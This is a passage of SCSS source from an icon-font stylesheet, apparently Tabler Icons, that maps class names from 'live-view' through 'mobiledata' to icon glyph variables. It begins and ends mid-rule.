$ti-icon-live-photo-off;\n}\n\n.#{$ti-prefix}-live-view:before {\n  content: $ti-icon-live-view;\n}\n\n.#{$ti-prefix}-load-balancer:before {\n  content: $ti-icon-load-balancer;\n}\n\n.#{$ti-prefix}-loader:before {\n  content: $ti-icon-loader;\n}\n\n.#{$ti-prefix}-loader-2:before {\n  content: $ti-icon-loader-2;\n}\n\n.#{$ti-prefix}-loader-3:before {\n  content: $ti-icon-loader-3;\n}\n\n.#{$ti-prefix}-loader-quarter:before {\n  content: $ti-icon-loader-quarter;\n}\n\n.#{$ti-prefix}-location:before {\n  content: $ti-icon-location;\n}\n\n.#{$ti-prefix}-location-bolt:before {\n  content: $ti-icon-location-bolt;\n}\n\n.#{$ti-prefix}-location-broken:before {\n  content: $ti-icon-location-broken;\n}\n\n.#{$ti-prefix}-location-cancel:before {\n  content: $ti-icon-location-cancel;\n}\n\n.#{$ti-prefix}-location-check:before {\n  content: $ti-icon-location-check;\n}\n\n.#{$ti-prefix}-location-code:before {\n  content: $ti-icon-location-code;\n}\n\n.#{$ti-prefix}-location-cog:before {\n  content: $ti-icon-location-cog;\n}\n\n.#{$ti-prefix}-location-discount:before {\n  content: $ti-icon-location-discount;\n}\n\n.#{$ti-prefix}-location-dollar:before {\n  content: $ti-icon-location-dollar;\n}\n\n.#{$ti-prefix}-location-down:before {\n  content: $ti-icon-location-down;\n}\n\n.#{$ti-prefix}-location-exclamation:before {\n  content: $ti-icon-location-exclamation;\n}\n\n.#{$ti-prefix}-location-filled:before {\n  content: $ti-icon-location-filled;\n}\n\n.#{$ti-prefix}-location-heart:before {\n  content: $ti-icon-location-heart;\n}\n\n.#{$ti-prefix}-location-minus:before {\n  content: $ti-icon-location-minus;\n}\n\n.#{$ti-prefix}-location-off:before {\n  content: $ti-icon-location-off;\n}\n\n.#{$ti-prefix}-location-pause:before {\n  content: $ti-icon-location-pause;\n}\n\n.#{$ti-prefix}-location-pin:before {\n  content: $ti-icon-location-pin;\n}\n\n.#{$ti-prefix}-location-plus:before {\n  content: $ti-icon-location-plus;\n}\n\n.#{$ti-prefix}-location-question:before {\n  content: $ti-icon-location-question;\n}\n\n.#{$ti-prefix}-location-search:before {\n  content: $ti-icon-location-search;\n}\n\n.#{$ti-prefix}-location-share:before {\n  content: $ti-icon-location-share;\n}\n\n.#{$ti-prefix}-location-star:before {\n  content: $ti-icon-location-star;\n}\n\n.#{$ti-prefix}-location-up:before {\n  content: $ti-icon-location-up;\n}\n\n.#{$ti-prefix}-location-x:before {\n  content: $ti-icon-location-x;\n}\n\n.#{$ti-prefix}-lock:before {\n  content: $ti-icon-lock;\n}\n\n.#{$ti-prefix}-lock-access:before {\n  content: $ti-icon-lock-access;\n}\n\n.#{$ti-prefix}-lock-access-off:before {\n  content: $ti-icon-lock-access-off;\n}\n\n.#{$ti-prefix}-lock-bolt:before {\n  content: $ti-icon-lock-bolt;\n}\n\n.#{$ti-prefix}-lock-cancel:before {\n  content: $ti-icon-lock-cancel;\n}\n\n.#{$ti-prefix}-lock-check:before {\n  content: $ti-icon-lock-check;\n}\n\n.#{$ti-prefix}-lock-code:before {\n  content: $ti-icon-lock-code;\n}\n\n.#{$ti-prefix}-lock-cog:before {\n  content: $ti-icon-lock-cog;\n}\n\n.#{$ti-prefix}-lock-dollar:before {\n  content: $ti-icon-lock-dollar;\n}\n\n.#{$ti-prefix}-lock-down:before {\n  content: $ti-icon-lock-down;\n}\n\n.#{$ti-prefix}-lock-exclamation:before {\n  content: $ti-icon-lock-exclamation;\n}\n\n.#{$ti-prefix}-lock-filled:before {\n  content: $ti-icon-lock-filled;\n}\n\n.#{$ti-prefix}-lock-heart:before {\n  content: $ti-icon-lock-heart;\n}\n\n.#{$ti-prefix}-lock-minus:before {\n  content: $ti-icon-lock-minus;\n}\n\n.#{$ti-prefix}-lock-off:before {\n  content: $ti-icon-lock-off;\n}\n\n.#{$ti-prefix}-lock-open:before {\n  content: $ti-icon-lock-open;\n}\n\n.#{$ti-prefix}-lock-open-off:before {\n  content: $ti-icon-lock-open-off;\n}\n\n.#{$ti-prefix}-lock-pause:before {\n  content: $ti-icon-lock-pause;\n}\n\n.#{$ti-prefix}-lock-pin:before {\n  content: $ti-icon-lock-pin;\n}\n\n.#{$ti-prefix}-lock-plus:before {\n  content: $ti-icon-lock-plus;\n}\n\n.#{$ti-prefix}-lock-question:before {\n  content: $ti-icon-lock-question;\n}\n\n.#{$ti-prefix}-lock-search:before {\n  content: $ti-icon-lock-search;\n}\n\n.#{$ti-prefix}-lock-share:before {\n  content: $ti-icon-lock-share;\n}\n\n.#{$ti-prefix}-lock-square:before {\n  content: $ti-icon-lock-square;\n}\n\n.#{$ti-prefix}-lock-square-rounded:before {\n  content: $ti-icon-lock-square-rounded;\n}\n\n.#{$ti-prefix}-lock-square-rounded-filled:before {\n  content: $ti-icon-lock-square-rounded-filled;\n}\n\n.#{$ti-prefix}-lock-star:before {\n  content: $ti-icon-lock-star;\n}\n\n.#{$ti-prefix}-lock-up:before {\n  content: $ti-icon-lock-up;\n}\n\n.#{$ti-prefix}-lock-x:before {\n  content: $ti-icon-lock-x;\n}\n\n.#{$ti-prefix}-logic-and:before {\n  content: $ti-icon-logic-and;\n}\n\n.#{$ti-prefix}-logic-buffer:before {\n  content: $ti-icon-logic-buffer;\n}\n\n.#{$ti-prefix}-logic-nand:before {\n  content: $ti-icon-logic-nand;\n}\n\n.#{$ti-prefix}-logic-nor:before {\n  content: $ti-icon-logic-nor;\n}\n\n.#{$ti-prefix}-logic-not:before {\n  content: $ti-icon-logic-not;\n}\n\n.#{$ti-prefix}-logic-or:before {\n  content: $ti-icon-logic-or;\n}\n\n.#{$ti-prefix}-logic-xnor:before {\n  content: $ti-icon-logic-xnor;\n}\n\n.#{$ti-prefix}-logic-xor:before {\n  content: $ti-icon-logic-xor;\n}\n\n.#{$ti-prefix}-login:before {\n  content: $ti-icon-login;\n}\n\n.#{$ti-prefix}-login-2:before {\n  content: $ti-icon-login-2;\n}\n\n.#{$ti-prefix}-logout:before {\n  content: $ti-icon-logout;\n}\n\n.#{$ti-prefix}-logout-2:before {\n  content: $ti-icon-logout-2;\n}\n\n.#{$ti-prefix}-lollipop:before {\n  content: $ti-icon-lollipop;\n}\n\n.#{$ti-prefix}-lollipop-off:before {\n  content: $ti-icon-lollipop-off;\n}\n\n.#{$ti-prefix}-luggage:before {\n  content: $ti-icon-luggage;\n}\n\n.#{$ti-prefix}-luggage-off:before {\n  content: $ti-icon-luggage-off;\n}\n\n.#{$ti-prefix}-lungs:before {\n  content: $ti-icon-lungs;\n}\n\n.#{$ti-prefix}-lungs-filled:before {\n  content: $ti-icon-lungs-filled;\n}\n\n.#{$ti-prefix}-lungs-off:before {\n  content: $ti-icon-lungs-off;\n}\n\n.#{$ti-prefix}-macro:before {\n  content: $ti-icon-macro;\n}\n\n.#{$ti-prefix}-macro-filled:before {\n  content: $ti-icon-macro-filled;\n}\n\n.#{$ti-prefix}-macro-off:before {\n  content: $ti-icon-macro-off;\n}\n\n.#{$ti-prefix}-magnet:before {\n  content: $ti-icon-magnet;\n}\n\n.#{$ti-prefix}-magnet-filled:before {\n  content: $ti-icon-magnet-filled;\n}\n\n.#{$ti-prefix}-magnet-off:before {\n  content: $ti-icon-magnet-off;\n}\n\n.#{$ti-prefix}-magnetic:before {\n  content: $ti-icon-magnetic;\n}\n\n.#{$ti-prefix}-mail:before {\n  content: $ti-icon-mail;\n}\n\n.#{$ti-prefix}-mail-ai:before {\n  content: $ti-icon-mail-ai;\n}\n\n.#{$ti-prefix}-mail-bolt:before {\n  content: $ti-icon-mail-bolt;\n}\n\n.#{$ti-prefix}-mail-cancel:before {\n  content: $ti-icon-mail-cancel;\n}\n\n.#{$ti-prefix}-mail-check:before {\n  content: $ti-icon-mail-check;\n}\n\n.#{$ti-prefix}-mail-code:before {\n  content: $ti-icon-mail-code;\n}\n\n.#{$ti-prefix}-mail-cog:before {\n  content: $ti-icon-mail-cog;\n}\n\n.#{$ti-prefix}-mail-dollar:before {\n  content: $ti-icon-mail-dollar;\n}\n\n.#{$ti-prefix}-mail-down:before {\n  content: $ti-icon-mail-down;\n}\n\n.#{$ti-prefix}-mail-exclamation:before {\n  content: $ti-icon-mail-exclamation;\n}\n\n.#{$ti-prefix}-mail-fast:before {\n  content: $ti-icon-mail-fast;\n}\n\n.#{$ti-prefix}-mail-filled:before {\n  content: $ti-icon-mail-filled;\n}\n\n.#{$ti-prefix}-mail-forward:before {\n  content: $ti-icon-mail-forward;\n}\n\n.#{$ti-prefix}-mail-heart:before {\n  content: $ti-icon-mail-heart;\n}\n\n.#{$ti-prefix}-mail-minus:before {\n  content: $ti-icon-mail-minus;\n}\n\n.#{$ti-prefix}-mail-off:before {\n  content: $ti-icon-mail-off;\n}\n\n.#{$ti-prefix}-mail-opened:before {\n  content: $ti-icon-mail-opened;\n}\n\n.#{$ti-prefix}-mail-opened-filled:before {\n  content: $ti-icon-mail-opened-filled;\n}\n\n.#{$ti-prefix}-mail-pause:before {\n  content: $ti-icon-mail-pause;\n}\n\n.#{$ti-prefix}-mail-pin:before {\n  content: $ti-icon-mail-pin;\n}\n\n.#{$ti-prefix}-mail-plus:before {\n  content: $ti-icon-mail-plus;\n}\n\n.#{$ti-prefix}-mail-question:before {\n  content: $ti-icon-mail-question;\n}\n\n.#{$ti-prefix}-mail-search:before {\n  content: $ti-icon-mail-search;\n}\n\n.#{$ti-prefix}-mail-share:before {\n  content: $ti-icon-mail-share;\n}\n\n.#{$ti-prefix}-mail-star:before {\n  content: $ti-icon-mail-star;\n}\n\n.#{$ti-prefix}-mail-up:before {\n  content: $ti-icon-mail-up;\n}\n\n.#{$ti-prefix}-mail-x:before {\n  content: $ti-icon-mail-x;\n}\n\n.#{$ti-prefix}-mailbox:before {\n  content: $ti-icon-mailbox;\n}\n\n.#{$ti-prefix}-mailbox-off:before {\n  content: $ti-icon-mailbox-off;\n}\n\n.#{$ti-prefix}-man:before {\n  content: $ti-icon-man;\n}\n\n.#{$ti-prefix}-man-filled:before {\n  content: $ti-icon-man-filled;\n}\n\n.#{$ti-prefix}-manual-gearbox:before {\n  content: $ti-icon-manual-gearbox;\n}\n\n.#{$ti-prefix}-manual-gearbox-filled:before {\n  content: $ti-icon-manual-gearbox-filled;\n}\n\n.#{$ti-prefix}-map:before {\n  content: $ti-icon-map;\n}\n\n.#{$ti-prefix}-map-2:before {\n  content: $ti-icon-map-2;\n}\n\n.#{$ti-prefix}-map-bolt:before {\n  content: $ti-icon-map-bolt;\n}\n\n.#{$ti-prefix}-map-cancel:before {\n  content: $ti-icon-map-cancel;\n}\n\n.#{$ti-prefix}-map-check:before {\n  content: $ti-icon-map-check;\n}\n\n.#{$ti-prefix}-map-code:before {\n  content: $ti-icon-map-code;\n}\n\n.#{$ti-prefix}-map-cog:before {\n  content: $ti-icon-map-cog;\n}\n\n.#{$ti-prefix}-map-discount:before {\n  content: $ti-icon-map-discount;\n}\n\n.#{$ti-prefix}-map-dollar:before {\n  content: $ti-icon-map-dollar;\n}\n\n.#{$ti-prefix}-map-down:before {\n  content: $ti-icon-map-down;\n}\n\n.#{$ti-prefix}-map-east:before {\n  content: $ti-icon-map-east;\n}\n\n.#{$ti-prefix}-map-exclamation:before {\n  content: $ti-icon-map-exclamation;\n}\n\n.#{$ti-prefix}-map-heart:before {\n  content: $ti-icon-map-heart;\n}\n\n.#{$ti-prefix}-map-minus:before {\n  content: $ti-icon-map-minus;\n}\n\n.#{$ti-prefix}-map-north:before {\n  content: $ti-icon-map-north;\n}\n\n.#{$ti-prefix}-map-off:before {\n  content: $ti-icon-map-off;\n}\n\n.#{$ti-prefix}-map-pause:before {\n  content: $ti-icon-map-pause;\n}\n\n.#{$ti-prefix}-map-pin:before {\n  content: $ti-icon-map-pin;\n}\n\n.#{$ti-prefix}-map-pin-2:before {\n  content: $ti-icon-map-pin-2;\n}\n\n.#{$ti-prefix}-map-pin-bolt:before {\n  content: $ti-icon-map-pin-bolt;\n}\n\n.#{$ti-prefix}-map-pin-cancel:before {\n  content: $ti-icon-map-pin-cancel;\n}\n\n.#{$ti-prefix}-map-pin-check:before {\n  content: $ti-icon-map-pin-check;\n}\n\n.#{$ti-prefix}-map-pin-code:before {\n  content: $ti-icon-map-pin-code;\n}\n\n.#{$ti-prefix}-map-pin-cog:before {\n  content: $ti-icon-map-pin-cog;\n}\n\n.#{$ti-prefix}-map-pin-dollar:before {\n  content: $ti-icon-map-pin-dollar;\n}\n\n.#{$ti-prefix}-map-pin-down:before {\n  content: $ti-icon-map-pin-down;\n}\n\n.#{$ti-prefix}-map-pin-exclamation:before {\n  content: $ti-icon-map-pin-exclamation;\n}\n\n.#{$ti-prefix}-map-pin-filled:before {\n  content: $ti-icon-map-pin-filled;\n}\n\n.#{$ti-prefix}-map-pin-heart:before {\n  content: $ti-icon-map-pin-heart;\n}\n\n.#{$ti-prefix}-map-pin-minus:before {\n  content: $ti-icon-map-pin-minus;\n}\n\n.#{$ti-prefix}-map-pin-off:before {\n  content: $ti-icon-map-pin-off;\n}\n\n.#{$ti-prefix}-map-pin-pause:before {\n  content: $ti-icon-map-pin-pause;\n}\n\n.#{$ti-prefix}-map-pin-pin:before {\n  content: $ti-icon-map-pin-pin;\n}\n\n.#{$ti-prefix}-map-pin-plus:before {\n  content: $ti-icon-map-pin-plus;\n}\n\n.#{$ti-prefix}-map-pin-question:before {\n  content: $ti-icon-map-pin-question;\n}\n\n.#{$ti-prefix}-map-pin-search:before {\n  content: $ti-icon-map-pin-search;\n}\n\n.#{$ti-prefix}-map-pin-share:before {\n  content: $ti-icon-map-pin-share;\n}\n\n.#{$ti-prefix}-map-pin-star:before {\n  content: $ti-icon-map-pin-star;\n}\n\n.#{$ti-prefix}-map-pin-up:before {\n  content: $ti-icon-map-pin-up;\n}\n\n.#{$ti-prefix}-map-pin-x:before {\n  content: $ti-icon-map-pin-x;\n}\n\n.#{$ti-prefix}-map-pins:before {\n  content: $ti-icon-map-pins;\n}\n\n.#{$ti-prefix}-map-plus:before {\n  content: $ti-icon-map-plus;\n}\n\n.#{$ti-prefix}-map-question:before {\n  content: $ti-icon-map-question;\n}\n\n.#{$ti-prefix}-map-route:before {\n  content: $ti-icon-map-route;\n}\n\n.#{$ti-prefix}-map-search:before {\n  content: $ti-icon-map-search;\n}\n\n.#{$ti-prefix}-map-share:before {\n  content: $ti-icon-map-share;\n}\n\n.#{$ti-prefix}-map-south:before {\n  content: $ti-icon-map-south;\n}\n\n.#{$ti-prefix}-map-star:before {\n  content: $ti-icon-map-star;\n}\n\n.#{$ti-prefix}-map-up:before {\n  content: $ti-icon-map-up;\n}\n\n.#{$ti-prefix}-map-west:before {\n  content: $ti-icon-map-west;\n}\n\n.#{$ti-prefix}-map-x:before {\n  content: $ti-icon-map-x;\n}\n\n.#{$ti-prefix}-markdown:before {\n  content: $ti-icon-markdown;\n}\n\n.#{$ti-prefix}-markdown-off:before {\n  content: $ti-icon-markdown-off;\n}\n\n.#{$ti-prefix}-marquee:before {\n  content: $ti-icon-marquee;\n}\n\n.#{$ti-prefix}-marquee-2:before {\n  content: $ti-icon-marquee-2;\n}\n\n.#{$ti-prefix}-marquee-off:before {\n  content: $ti-icon-marquee-off;\n}\n\n.#{$ti-prefix}-mars:before {\n  content: $ti-icon-mars;\n}\n\n.#{$ti-prefix}-mask:before {\n  content: $ti-icon-mask;\n}\n\n.#{$ti-prefix}-mask-off:before {\n  content: $ti-icon-mask-off;\n}\n\n.#{$ti-prefix}-masks-theater:before {\n  content: $ti-icon-masks-theater;\n}\n\n.#{$ti-prefix}-masks-theater-off:before {\n  content: $ti-icon-masks-theater-off;\n}\n\n.#{$ti-prefix}-massage:before {\n  content: $ti-icon-massage;\n}\n\n.#{$ti-prefix}-matchstick:before {\n  content: $ti-icon-matchstick;\n}\n\n.#{$ti-prefix}-math:before {\n  content: $ti-icon-math;\n}\n\n.#{$ti-prefix}-math-1-divide-2:before {\n  content: $ti-icon-math-1-divide-2;\n}\n\n.#{$ti-prefix}-math-1-divide-3:before {\n  content: $ti-icon-math-1-divide-3;\n}\n\n.#{$ti-prefix}-math-avg:before {\n  content: $ti-icon-math-avg;\n}\n\n.#{$ti-prefix}-math-equal-greater:before {\n  content: $ti-icon-math-equal-greater;\n}\n\n.#{$ti-prefix}-math-equal-lower:before {\n  content: $ti-icon-math-equal-lower;\n}\n\n.#{$ti-prefix}-math-function:before {\n  content: $ti-icon-math-function;\n}\n\n.#{$ti-prefix}-math-function-off:before {\n  content: $ti-icon-math-function-off;\n}\n\n.#{$ti-prefix}-math-function-y:before {\n  content: $ti-icon-math-function-y;\n}\n\n.#{$ti-prefix}-math-greater:before {\n  content: $ti-icon-math-greater;\n}\n\n.#{$ti-prefix}-math-integral:before {\n  content: $ti-icon-math-integral;\n}\n\n.#{$ti-prefix}-math-integral-x:before {\n  content: $ti-icon-math-integral-x;\n}\n\n.#{$ti-prefix}-math-integrals:before {\n  content: $ti-icon-math-integrals;\n}\n\n.#{$ti-prefix}-math-lower:before {\n  content: $ti-icon-math-lower;\n}\n\n.#{$ti-prefix}-math-max:before {\n  content: $ti-icon-math-max;\n}\n\n.#{$ti-prefix}-math-max-min:before {\n  content: $ti-icon-math-max-min;\n}\n\n.#{$ti-prefix}-math-min:before {\n  content: $ti-icon-math-min;\n}\n\n.#{$ti-prefix}-math-not:before {\n  content: $ti-icon-math-not;\n}\n\n.#{$ti-prefix}-math-off:before {\n  content: $ti-icon-math-off;\n}\n\n.#{$ti-prefix}-math-pi:before {\n  content: $ti-icon-math-pi;\n}\n\n.#{$ti-prefix}-math-pi-divide-2:before {\n  content: $ti-icon-math-pi-divide-2;\n}\n\n.#{$ti-prefix}-math-symbols:before {\n  content: $ti-icon-math-symbols;\n}\n\n.#{$ti-prefix}-math-x-divide-2:before {\n  content: $ti-icon-math-x-divide-2;\n}\n\n.#{$ti-prefix}-math-x-divide-y:before {\n  content: $ti-icon-math-x-divide-y;\n}\n\n.#{$ti-prefix}-math-x-divide-y-2:before {\n  content: $ti-icon-math-x-divide-y-2;\n}\n\n.#{$ti-prefix}-math-x-minus-x:before {\n  content: $ti-icon-math-x-minus-x;\n}\n\n.#{$ti-prefix}-math-x-minus-y:before {\n  content: $ti-icon-math-x-minus-y;\n}\n\n.#{$ti-prefix}-math-x-plus-x:before {\n  content: $ti-icon-math-x-plus-x;\n}\n\n.#{$ti-prefix}-math-x-plus-y:before {\n  content: $ti-icon-math-x-plus-y;\n}\n\n.#{$ti-prefix}-math-xy:before {\n  content: $ti-icon-math-xy;\n}\n\n.#{$ti-prefix}-math-y-minus-y:before {\n  content: $ti-icon-math-y-minus-y;\n}\n\n.#{$ti-prefix}-math-y-plus-y:before {\n  content: $ti-icon-math-y-plus-y;\n}\n\n.#{$ti-prefix}-maximize:before {\n  content: $ti-icon-maximize;\n}\n\n.#{$ti-prefix}-maximize-off:before {\n  content: $ti-icon-maximize-off;\n}\n\n.#{$ti-prefix}-meat:before {\n  content: $ti-icon-meat;\n}\n\n.#{$ti-prefix}-meat-off:before {\n  content: $ti-icon-meat-off;\n}\n\n.#{$ti-prefix}-medal:before {\n  content: $ti-icon-medal;\n}\n\n.#{$ti-prefix}-medal-2:before {\n  content: $ti-icon-medal-2;\n}\n\n.#{$ti-prefix}-medical-cross:before {\n  content: $ti-icon-medical-cross;\n}\n\n.#{$ti-prefix}-medical-cross-circle:before {\n  content: $ti-icon-medical-cross-circle;\n}\n\n.#{$ti-prefix}-medical-cross-filled:before {\n  content: $ti-icon-medical-cross-filled;\n}\n\n.#{$ti-prefix}-medical-cross-off:before {\n  content: $ti-icon-medical-cross-off;\n}\n\n.#{$ti-prefix}-medicine-syrup:before {\n  content: $ti-icon-medicine-syrup;\n}\n\n.#{$ti-prefix}-meeple:before {\n  content: $ti-icon-meeple;\n}\n\n.#{$ti-prefix}-melon:before {\n  content: $ti-icon-melon;\n}\n\n.#{$ti-prefix}-menorah:before {\n  content: $ti-icon-menorah;\n}\n\n.#{$ti-prefix}-menu:before {\n  content: $ti-icon-menu;\n}\n\n.#{$ti-prefix}-menu-2:before {\n  content: $ti-icon-menu-2;\n}\n\n.#{$ti-prefix}-menu-deep:before {\n  content: $ti-icon-menu-deep;\n}\n\n.#{$ti-prefix}-menu-order:before {\n  content: $ti-icon-menu-order;\n}\n\n.#{$ti-prefix}-message:before {\n  content: $ti-icon-message;\n}\n\n.#{$ti-prefix}-message-2:before {\n  content: $ti-icon-message-2;\n}\n\n.#{$ti-prefix}-message-2-bolt:before {\n  content: $ti-icon-message-2-bolt;\n}\n\n.#{$ti-prefix}-message-2-cancel:before {\n  content: $ti-icon-message-2-cancel;\n}\n\n.#{$ti-prefix}-message-2-check:before {\n  content: $ti-icon-message-2-check;\n}\n\n.#{$ti-prefix}-message-2-code:before {\n  content: $ti-icon-message-2-code;\n}\n\n.#{$ti-prefix}-message-2-cog:before {\n  content: $ti-icon-message-2-cog;\n}\n\n.#{$ti-prefix}-message-2-dollar:before {\n  content: $ti-icon-message-2-dollar;\n}\n\n.#{$ti-prefix}-message-2-down:before {\n  content: $ti-icon-message-2-down;\n}\n\n.#{$ti-prefix}-message-2-exclamation:before {\n  content: $ti-icon-message-2-exclamation;\n}\n\n.#{$ti-prefix}-message-2-heart:before {\n  content: $ti-icon-message-2-heart;\n}\n\n.#{$ti-prefix}-message-2-minus:before {\n  content: $ti-icon-message-2-minus;\n}\n\n.#{$ti-prefix}-message-2-off:before {\n  content: $ti-icon-message-2-off;\n}\n\n.#{$ti-prefix}-message-2-pause:before {\n  content: $ti-icon-message-2-pause;\n}\n\n.#{$ti-prefix}-message-2-pin:before {\n  content: $ti-icon-message-2-pin;\n}\n\n.#{$ti-prefix}-message-2-plus:before {\n  content: $ti-icon-message-2-plus;\n}\n\n.#{$ti-prefix}-message-2-question:before {\n  content: $ti-icon-message-2-question;\n}\n\n.#{$ti-prefix}-message-2-search:before {\n  content: $ti-icon-message-2-search;\n}\n\n.#{$ti-prefix}-message-2-share:before {\n  content: $ti-icon-message-2-share;\n}\n\n.#{$ti-prefix}-message-2-star:before {\n  content: $ti-icon-message-2-star;\n}\n\n.#{$ti-prefix}-message-2-up:before {\n  content: $ti-icon-message-2-up;\n}\n\n.#{$ti-prefix}-message-2-x:before {\n  content: $ti-icon-message-2-x;\n}\n\n.#{$ti-prefix}-message-bolt:before {\n  content: $ti-icon-message-bolt;\n}\n\n.#{$ti-prefix}-message-cancel:before {\n  content: $ti-icon-message-cancel;\n}\n\n.#{$ti-prefix}-message-chatbot:before {\n  content: $ti-icon-message-chatbot;\n}\n\n.#{$ti-prefix}-message-check:before {\n  content: $ti-icon-message-check;\n}\n\n.#{$ti-prefix}-message-circle:before {\n  content: $ti-icon-message-circle;\n}\n\n.#{$ti-prefix}-message-circle-2:before {\n  content: $ti-icon-message-circle-2;\n}\n\n.#{$ti-prefix}-message-circle-2-filled:before {\n  content: $ti-icon-message-circle-2-filled;\n}\n\n.#{$ti-prefix}-message-circle-bolt:before {\n  content: $ti-icon-message-circle-bolt;\n}\n\n.#{$ti-prefix}-message-circle-cancel:before {\n  content: $ti-icon-message-circle-cancel;\n}\n\n.#{$ti-prefix}-message-circle-check:before {\n  content: $ti-icon-message-circle-check;\n}\n\n.#{$ti-prefix}-message-circle-code:before {\n  content: $ti-icon-message-circle-code;\n}\n\n.#{$ti-prefix}-message-circle-cog:before {\n  content: $ti-icon-message-circle-cog;\n}\n\n.#{$ti-prefix}-message-circle-dollar:before {\n  content: $ti-icon-message-circle-dollar;\n}\n\n.#{$ti-prefix}-message-circle-down:before {\n  content: $ti-icon-message-circle-down;\n}\n\n.#{$ti-prefix}-message-circle-exclamation:before {\n  content: $ti-icon-message-circle-exclamation;\n}\n\n.#{$ti-prefix}-message-circle-heart:before {\n  content: $ti-icon-message-circle-heart;\n}\n\n.#{$ti-prefix}-message-circle-minus:before {\n  content: $ti-icon-message-circle-minus;\n}\n\n.#{$ti-prefix}-message-circle-off:before {\n  content: $ti-icon-message-circle-off;\n}\n\n.#{$ti-prefix}-message-circle-pause:before {\n  content: $ti-icon-message-circle-pause;\n}\n\n.#{$ti-prefix}-message-circle-pin:before {\n  content: $ti-icon-message-circle-pin;\n}\n\n.#{$ti-prefix}-message-circle-plus:before {\n  content: $ti-icon-message-circle-plus;\n}\n\n.#{$ti-prefix}-message-circle-question:before {\n  content: $ti-icon-message-circle-question;\n}\n\n.#{$ti-prefix}-message-circle-search:before {\n  content: $ti-icon-message-circle-search;\n}\n\n.#{$ti-prefix}-message-circle-share:before {\n  content: $ti-icon-message-circle-share;\n}\n\n.#{$ti-prefix}-message-circle-star:before {\n  content: $ti-icon-message-circle-star;\n}\n\n.#{$ti-prefix}-message-circle-up:before {\n  content: $ti-icon-message-circle-up;\n}\n\n.#{$ti-prefix}-message-circle-x:before {\n  content: $ti-icon-message-circle-x;\n}\n\n.#{$ti-prefix}-message-code:before {\n  content: $ti-icon-message-code;\n}\n\n.#{$ti-prefix}-message-cog:before {\n  content: $ti-icon-message-cog;\n}\n\n.#{$ti-prefix}-message-dollar:before {\n  content: $ti-icon-message-dollar;\n}\n\n.#{$ti-prefix}-message-dots:before {\n  content: $ti-icon-message-dots;\n}\n\n.#{$ti-prefix}-message-down:before {\n  content: $ti-icon-message-down;\n}\n\n.#{$ti-prefix}-message-exclamation:before {\n  content: $ti-icon-message-exclamation;\n}\n\n.#{$ti-prefix}-message-forward:before {\n  content: $ti-icon-message-forward;\n}\n\n.#{$ti-prefix}-message-heart:before {\n  content: $ti-icon-message-heart;\n}\n\n.#{$ti-prefix}-message-language:before {\n  content: $ti-icon-message-language;\n}\n\n.#{$ti-prefix}-message-minus:before {\n  content: $ti-icon-message-minus;\n}\n\n.#{$ti-prefix}-message-off:before {\n  content: $ti-icon-message-off;\n}\n\n.#{$ti-prefix}-message-pause:before {\n  content: $ti-icon-message-pause;\n}\n\n.#{$ti-prefix}-message-pin:before {\n  content: $ti-icon-message-pin;\n}\n\n.#{$ti-prefix}-message-plus:before {\n  content: $ti-icon-message-plus;\n}\n\n.#{$ti-prefix}-message-question:before {\n  content: $ti-icon-message-question;\n}\n\n.#{$ti-prefix}-message-reply:before {\n  content: $ti-icon-message-reply;\n}\n\n.#{$ti-prefix}-message-report:before {\n  content: $ti-icon-message-report;\n}\n\n.#{$ti-prefix}-message-search:before {\n  content: $ti-icon-message-search;\n}\n\n.#{$ti-prefix}-message-share:before {\n  content: $ti-icon-message-share;\n}\n\n.#{$ti-prefix}-message-star:before {\n  content: $ti-icon-message-star;\n}\n\n.#{$ti-prefix}-message-up:before {\n  content: $ti-icon-message-up;\n}\n\n.#{$ti-prefix}-message-x:before {\n  content: $ti-icon-message-x;\n}\n\n.#{$ti-prefix}-messages:before {\n  content: $ti-icon-messages;\n}\n\n.#{$ti-prefix}-messages-off:before {\n  content: $ti-icon-messages-off;\n}\n\n.#{$ti-prefix}-meteor:before {\n  content: $ti-icon-meteor;\n}\n\n.#{$ti-prefix}-meteor-off:before {\n  content: $ti-icon-meteor-off;\n}\n\n.#{$ti-prefix}-meter-cube:before {\n  content: $ti-icon-meter-cube;\n}\n\n.#{$ti-prefix}-meter-square:before {\n  content: $ti-icon-meter-square;\n}\n\n.#{$ti-prefix}-metronome:before {\n  content: $ti-icon-metronome;\n}\n\n.#{$ti-prefix}-michelin-bib-gourmand:before {\n  content: $ti-icon-michelin-bib-gourmand;\n}\n\n.#{$ti-prefix}-michelin-star:before {\n  content: $ti-icon-michelin-star;\n}\n\n.#{$ti-prefix}-michelin-star-green:before {\n  content: $ti-icon-michelin-star-green;\n}\n\n.#{$ti-prefix}-mickey:before {\n  content: $ti-icon-mickey;\n}\n\n.#{$ti-prefix}-mickey-filled:before {\n  content: $ti-icon-mickey-filled;\n}\n\n.#{$ti-prefix}-microphone:before {\n  content: $ti-icon-microphone;\n}\n\n.#{$ti-prefix}-microphone-2:before {\n  content: $ti-icon-microphone-2;\n}\n\n.#{$ti-prefix}-microphone-2-off:before {\n  content: $ti-icon-microphone-2-off;\n}\n\n.#{$ti-prefix}-microphone-filled:before {\n  content: $ti-icon-microphone-filled;\n}\n\n.#{$ti-prefix}-microphone-off:before {\n  content: $ti-icon-microphone-off;\n}\n\n.#{$ti-prefix}-microscope:before {\n  content: $ti-icon-microscope;\n}\n\n.#{$ti-prefix}-microscope-off:before {\n  content: $ti-icon-microscope-off;\n}\n\n.#{$ti-prefix}-microwave:before {\n  content: $ti-icon-microwave;\n}\n\n.#{$ti-prefix}-microwave-filled:before {\n  content: $ti-icon-microwave-filled;\n}\n\n.#{$ti-prefix}-microwave-off:before {\n  content: $ti-icon-microwave-off;\n}\n\n.#{$ti-prefix}-military-award:before {\n  content: $ti-icon-military-award;\n}\n\n.#{$ti-prefix}-military-rank:before {\n  content: $ti-icon-military-rank;\n}\n\n.#{$ti-prefix}-milk:before {\n  content: $ti-icon-milk;\n}\n\n.#{$ti-prefix}-milk-off:before {\n  content: $ti-icon-milk-off;\n}\n\n.#{$ti-prefix}-milkshake:before {\n  content: $ti-icon-milkshake;\n}\n\n.#{$ti-prefix}-minimize:before {\n  content: $ti-icon-minimize;\n}\n\n.#{$ti-prefix}-minus:before {\n  content: $ti-icon-minus;\n}\n\n.#{$ti-prefix}-minus-vertical:before {\n  content: $ti-icon-minus-vertical;\n}\n\n.#{$ti-prefix}-mist:before {\n  content: $ti-icon-mist;\n}\n\n.#{$ti-prefix}-mist-off:before {\n  content: $ti-icon-mist-off;\n}\n\n.#{$ti-prefix}-mobiledata:before {\n  content: $ti-icon-mobiledata;\n}\n\n.#{$ti-prefix}-mobiledata-off:before {\n  content: 